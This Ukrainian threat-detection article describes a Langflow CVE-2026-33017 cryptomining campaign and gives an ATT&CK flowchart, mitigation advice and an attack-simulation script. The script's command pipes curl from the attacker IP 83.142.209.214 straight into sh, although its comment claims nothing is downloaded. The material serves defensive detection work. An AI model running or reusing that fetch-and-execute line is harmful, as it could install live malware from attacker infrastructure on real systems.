SOC Prime Bias: Критичний

29 Jun 2026 07:25 UTC

CVE-2026-33017 Кампанія з Криптомайнінгу: Від Langflow до Monero

Author Photo
SOC Prime Team linkedin icon Стежити
CVE-2026-33017 Кампанія з Криптомайнінгу: Від Langflow до Monero
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Резюме

Кампанія з майнінгу криптовалют використовує неаутентифіковану вразливість віддаленого виконання коду в Langflow для розгортання налаштованого майнера на основі Go. Ланцюжок атак використовує дроппер на основі bash-скрипта для встановлення персистентності та бічного переміщення через повторне використання ключів SSH. Шкідливе ПЗ також вимикає заходи безпеки на рівні хоста і завершує конкуруючі процеси майнінгу для максимізації доступних системних ресурсів.

Розслідування

Дослідники стежили за кампанією протягом 19 днів та виявили послідовний шаблон експлуатації з використанням жорстко закодованих flow_id і змінними рядками user-agent. Їх розслідування виявило багатостадійне вторгнення, побудоване на основі бінарного файлу на Go під назвою lambsys.elf, яка займалася ухиленням від оборони, видаленням журналів і забезпеченням персистентності за підтримкою watchdog. На основі поведінки видалення користувача і технік бічного переміщення, прийнято вважати, що інструментарій має спорідненість з родинами KORKERDS або MALXMR.

Пом’якшення

Організації повинні оновити Langflow до версії 1.9.0 або новішої, щоб виправити проблему віддаленого виконання коду. Також настійно рекомендується блокувати зовнішній доступ до інстанцій Langflow і уникати запуску сервісу з надмірними правами. Додаткові заходи контролю повинні забезпечити, що публічні потоки не можуть приймати неаутентифікований введення, здатний викликати виконання коду.

Відповідь

Якщо ця активність виявлена, команди безпеки повинні розглядати її як компрометацію криптомайнінгу та можливий інцидент з витоком ключів SSH. Негайні дії повинні включати ротацію всіх потенційно розкритих ключів SSH і перевірку підключених хостів на предмет ознак бічного переміщення. Команди також повинні перевірити системні журнали на неавторизоване створення або видалення облікових записів і інспектувати системи на предмет несанкціонованих змін конфігурації безпеки.

"flowchart TD step_reconnaissance["T1595.002 – Активне сканування: Сканування на вразливості: обертання User-Agent для визначення цілі та перевірки на вразливість auto_login"] step_exploitation["T1210 – Експлуатація віддалених сервісів: Експлуатація CVE-2026-33017 у Langflow API через запит POST"] step_execution["T1059 – Виконання: Примітив Python __import__(‘os’).system для виклику команд shell"] step_ingress_transfer["T1105 – Передача інструментів: Завантаження дроппера isp.sh за допомогою curl або wget"] rules_for_ingress_transfer("<b>Назва правила</b>: Віддалене завантаження/вивантаження файлів через стандартні інструменти (через командний рядок)<br/><b>ID правила</b>: 02cefb3e-acaa-42f6-8118-611e4162f3ba<hr/><b>Назва правила</b>: Підозріле завантаження файлів із прямою IP-адресою (через проксі)<br/><b>ID правила</b>: f0e46e70-111f-43a1-8853-d25f0b8683dd") step_persistence["T1053.003 – Персистентність: Завдання cron та скрипт циклу bash (init_rmount) для функціональності watchdog"] step_credential_access["T1552.004 – Доступ до облікових даних: Перерахування приватних ключів SSH та запитування SSH_AUTH_SOCK"] step_lateral_movement["T1021.004 – Бічний рух: Механізм черв’яка SSH, що націлюється на доступні хости у known_hosts"] step_defense_impairment["T1685 – Пошкодження захисту: Вимкнення ufw, iptables, AppArmor та SELinux"] step_indicator_removal["T1070 – Видалення індикаторів: Видалення /var/log/syslog для ускладнення розслідування"] step_command_and_control["T1102.003 – Команди та контроль: lambsys.elf надсилає JSON-сигнали через HTTP POST на 83.142.209.214"] step_resource_hijacking["T1496.001 – Викрадення ресурсів: Викрадення обчислень: Розгортання procq (XMRig) для майнінгу Monero"] step_reconnaissance –>|призводить до| step_exploitation step_exploitation –>|дозволяє| step_execution step_execution –>|ініціює| step_ingress_transfer step_ingress_transfer -.->|виявляється за| rules_for_ingress_transfer step_ingress_transfer –>|призводить до| step_persistence step_persistence –>|після| step_credential_access step_credential_access –>|дозволяє| step_lateral_movement step_lateral_movement –>|призводить до| step_defense_impairment step_defense_impairment –>|після| step_indicator_removal step_indicator_removal –>|призводить до| step_command_and_control step_command_and_control –>|результує в| step_resource_hijacking "

Потік атак

Виконання симуляції

Передумова: Повинні пройти перевірку телеметрії та базової лінії.

Обґрунтування: Цей розділ описує точне виконання техніки супротивника (TTP), призначеної для виклику правила виявлення. Команди і наратив МАЮТЬ безпосередньо відображати виявлені TTP і ставити за мету генерувати точну телеметрію, очікувану логікою виявлення. Абстрактні або не пов’язані приклади призведуть до помилкової діагностики.

  • Сценарій атаки і команди: Зловмисник ідентифікує вразливий екземпляр Langflow, що працює на сервері Linux. Використовуючи вразливість CVE-2026-33017, зловмисник впроваджує шкідливий Python-навантаження у запит. Метою є обійти периметрові захисти та розгорнути Monero-криптомайнер. Навантаження використовує Python os.system для виклику /bin/sh, яке потім завантажує shell-скрипт (isp.sh) з інфраструктури зловмисника (83.142.209.214:8080) і направляє його безпосередньо у shell для негайного виконання.

  • Скрипт тестування на регресію:

    #!/bin/bash
    # Симуляція експлуатації CVE-2026-33017 через впровадження Python
    # Цей скрипт імітує точний командний рядок, який шукає правило виявлення.
    
    echo "[+] Початок симуляції: Експлуатація CVE-2026-33017"
    
    # Ми використовуємо python3 для виконання певного рядка, потрібного для логіки правила
    # Примітка: ми фактично нічого не завантажуємо; ми лише імітуємо рядок команд.
    python3 -c "__import__('os').system('curl http://83.142.209.214:8080/isp.sh | sh')"
    
    echo "[+] Команда симуляції виконана."
  • Команди очищення:

    # Ніякі постійні зміни не здійснені скриптом симуляції; 
    # однак, якщо були створені будь-які тимчасові файли, їх слід видалити.
    echo "[+] Очищення артефактів симуляції..."
    # (Ніякі артефакти не були створені в цій конкретній симуляції командного рядка)